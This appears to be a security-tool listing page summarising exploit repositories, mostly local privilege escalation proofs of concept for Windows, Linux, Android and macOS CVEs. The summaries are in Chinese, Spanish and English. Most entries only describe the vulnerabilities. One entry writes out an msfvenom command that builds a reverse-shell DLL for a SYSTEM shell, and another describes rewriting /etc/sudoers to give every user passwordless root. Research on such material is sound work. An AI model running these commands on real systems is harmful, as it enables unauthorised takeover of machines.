CVE-2022-31262

CVE-2022-31262 GOG Galaxy 2.X 本地提权利用 CVE-2022-31262 已测试版本 2.0.46 - 2.0.51（截至 2022 年 8 月 11 日最新版本），旧版本可能也存在漏洞 关于该发现的博客文章：https://secure77.de/gog-galaxy-cve-2022-31262/ 通过以下工具发现的 LPE：https://github.com/secure-77/PSAccessFinder POC 演示 感谢 Wh04m1001 提供 cpp 支持...

CVE-2023-2640-32629

Ubuntu 权限提升：CVE-2023-2640 和 CVE-2023-32629 这是一个影响某些 Ubuntu 内核的本地权限提升漏洞。它允许非特权用户在已挂载的文件系统上设置特权扩展属性，绕过安全检查并可能获得提升的权限。该漏洞涉及两个 CVE：CVE-2023-2640 和 CVE-2023-32629。受影响的内核版本包括 6.2.0、5.19.0 和 5.4.0，涉及多个 Ubuntu 发行版。及时应用 Ubuntu 提供的补丁并遵循安全最佳实践以缓解这些漏洞至关重要。 用法 1. 使脚本可执行： root@kitploit: chmod +x poc.sh 2. 运行脚本...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 de junio de 2021 CVE-2021-1675 es una vulnerabilidad crítica de ejecución remota de código y escalada de privilegios local denominada "PrintNightmare". Se han publicado exploits de prueba de concepto Python, C++ para l...

CVE-2025-8045

CVE-2025-8045 — UAF en la cola KCPU de la GPU Arm Mali Un exploit de escalada de privilegios local para CVE-2025-8045 , un use-after-free en el controlador del kernel de la GPU Arm Mali kbase. Un proceso local sin privilegios hace una carrera contra la ruta de volcado de la cola KCPU del CSF para...

linux-smart-enumeration

First, a couple of useful oneliners ; root@kitploit: wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh root@kitploit: curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center 本地权限提升 - 任意文件覆盖漏洞 漏洞概述 已识别出 Windows 操作系统上 MSI Center 版本 = 2.0.36.0 存在一个本地权限提升漏洞，该漏洞允许低权限用户任意覆盖或删除系统上的高权限关键文件。此漏洞是由于 MSI Center 应用程序以 NT AUTHORITY\SYSTEM 权限运行，并将文件写入低权限用户可控的目录所致，这使得低权限用户能够利用符号链接操纵文件系统，并诱使应用程序在任意位置写入或覆盖文件。 漏洞详情 当低权限用户创建一个目录并对该目录中的文件设置 OpLock...

CVE-2024-20656

CVE-2024-20656 VSStandardCollectorService150 服务中本地权限提升（EoP）的 PoC https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/...

CVE-2019-2215

CVE-2019-2215 旧版Binder漏洞的PoC（基于P0漏洞利用） 描述 binder.c中的一个释放后使用漏洞允许应用程序向Linux内核提升权限。利用此漏洞无需用户交互，但需要安装恶意本地应用程序或网络应用程序中存在另一个漏洞。 参考 https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html https://cloudfuzz.github.io/android-kernel-exploitation/ 备注...

Aegis

AEGIS 面向 AI 编码代理的独立、操作系统级可观测性 从代理外部观察 AI 代理在你的机器上实际执行的操作——进程、文件、网络——无需任何钩子。 AEGIS 是一个面向 AI 代理的独立、操作系统级观察器。 无论代理是如何启动的，或者它是否配合监控，它都会观察代理进程、文件访问和网络活动——并将每一条观察结果关联到特定的代理 实例 ，且该归属的证据会被明确记录在案。它基于 CommonJS JavaScript 监控引擎构建，渲染进程和共享类型使用 TypeScript。开源、本地化、无遥测 ——一切数据都保留在你的机器上。 演示录制于...

CVE-2025-50168-pwn2own-berlin-2025

作者: D4m0n CVE-2025-50168 这是提交至 Pwn2Own Berlin 2025 - LPE 类别 的一个漏洞利用程序。 该漏洞出现在 Win32kbase!DirectComposition 中，更多细节可参阅博客文章。 致谢 kASLR 绕过技术： prefetch-tool，作者：carrotc4k3 特别感谢： Out of Bounds 的 David 与 Louis 免责声明 本仓库仅供教育和研究目的使用，不得用于恶意用途。严禁将材料用于未经授权或非法的活动。...

CVE-2019-8781-macOS

CVE-2019-8781 Security Advisory CVE-2019-8781 POC Details The POC elevate the process to root and execute a shell. Exploit environment root@kitploit: - macOS 10.14.6 18G95 Should works on all macOS version that's released before 10.15.0 - SMEP: On - SMAP: Off - Kernel ASLR slide passed to the arg...

Windows-Local-Privilege-Escalation-Cookbook

Windows 本地权限提升手册 目录 Windows 本地权限提升手册 目录 免责声明 描述（主旨） 定义 实用工具 漏洞 参考资料 免责声明 本仓库“Windows 本地权限提升手册”仅用于教育目的。作者对本文所提供信息的任何非法使用不承担任何责任。强烈建议用户以合乎道德和合法的方式使用这些知识。访问本仓库即表示您同意负责任地使用其内容，并遵守所有适用法律。 描述（主旨） 本手册的创建主要是为了帮助人们理解 Windows 环境中的本地权限提升技术。此外，它既可以用于攻击目的，也可以用于防御目的。 ℹ️ 本手册仅关注 Windows 工作站/服务器/主机上的错误配置漏洞。 ⚠️...

CVE-2019-8997

CVE-2019-8997 BlackBerry AtHoc 早于 7.6 HF-567 版本的管理系统（控制台）中存在一个 XML 外部实体注入（XXE）漏洞，攻击者可能通过在现有字段中输入恶意构造的 XML，从而读取应用服务器上的任意本地文件或向网络发出请求。 报告人 Nolan B. Kennedy nxkennedy 安全公告 http://support.blackberry.com/kb/articleDetail?articleNumber=000047227 https://nvd.nist.gov/vuln/detail/CVE-2019-8997 博文...

wsuks

wsuks 自动化 WSUS 攻击 获取已加入域 Windows 计算机的本地管理员访问权限通常是渗透测试的第一步。在许多情况下，Windows 服务器更新服务（WSUS）被配置为通过 HTTP 在本地网络上向客户端部署更新。由于没有 HTTPS 的安全保护，攻击者可以发起中间人攻击，为客户端提供一个更新，该更新随后将以 SYSTEM 权限执行。任何 Microsoft 签名的可执行文件都可以作为更新提供，包括一条用于执行该可执行文件的自定义命令。如果攻击者能够获得 WSUS 服务器的 TLS 证书，则此技术也可以通过 HTTPS 执行（参见 ESC17 和我们的博客文章）。 为了自动利...

CVE-2024-31719----AMI-Aptio-5-Vulnerability

AMI-Aptio--NvLock-Vulnerability 信息 CVE 编号: CVE-2024-31719 链接 漏洞类型: 不正确的访问控制 产品供应商: American Megatrends International, LLC. 产品: AMI Aptio - 5 攻击类型: 本地 攻击向量 攻击者可以轻松绕过 NvLock 模块对 NVRAM 的访问保护。 一旦保护被绕过，就可以轻松修改存储在 NVRAM 中的所有变量，包括管理员密码。 PoC...

rootOS

rootOS 尝试利用多个CVE获取sudo或root访问权限。所有漏洞利用的最终目标是将ALL ALL=ALL NOPASSWD: ALL添加到/etc/sudoers中，允许任何用户运行sudo命令。 运行 root@kitploit: python root.py 漏洞利用 名称| CVE| 日期| 链接 ---|---|---|--- ARDAgent| CVE-2008-2830| 06/23/2008| https://nvd.nist.gov/vuln/detail/CVE-2008-2830 DYLDPRINTTOFILE| CVE-2015-3760|...

CVE-2025-49132-Mods

CVE-2025-49132 - 简单RCE 📝 概述 本仓库包含针对 CVE-2025-49132 的专用利用工具，这是一个在 Pterodactyl 面板（v1.11.11 之前版本）中存在的严重未认证远程代码执行（RCE）漏洞。 该漏洞存在于 /locales/locale.json 端点。通过操纵 locale 和 namespace 查询参数，攻击者可以利用本地文件包含（LFI）与 pearcmd.php 交互。这允许创建任意文件并执行命令，从而导致系统完全被攻陷。 ⚙️ 利用链 ape.py 脚本自动执行以下步骤： PEAR 发现：对目录结构进行模糊测试，以定位目标上的 PEA...

CVE-2025-32462-POC

CVE-2025-32462 – sudo -h PoC de Escalada de Privilegios 🚨 Exploit de escalada de privilegios local para sudo mediante el argumento -h/--host Afecta a sistemas con configuraciones incorrectas de sudo que permiten acceso root no deseado. 🧠 Acerca de Este PoC demuestra CVE-2025-32462 , un fallo lógi...

NimNightmare

CVE-2021-1675 LPE PoC 不是我的漏洞利用！只是想玩玩 nim 中的 winim 库。 用法 使用 msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll 生成 DLL 载荷，然后在攻击机上启动监听程序。 在受害机上运行 .\nimnightmare.exe 即可获得 SYSTEM 权限的 shell。...

wonitor

web monitor fast, zero config web endpoint change monitor. for comparing responses, a selected list of http headers and the full response body is stored on a local key/value store file. no configuration needed. to increase network throughput, a --worker flag allows to set the concurrency when...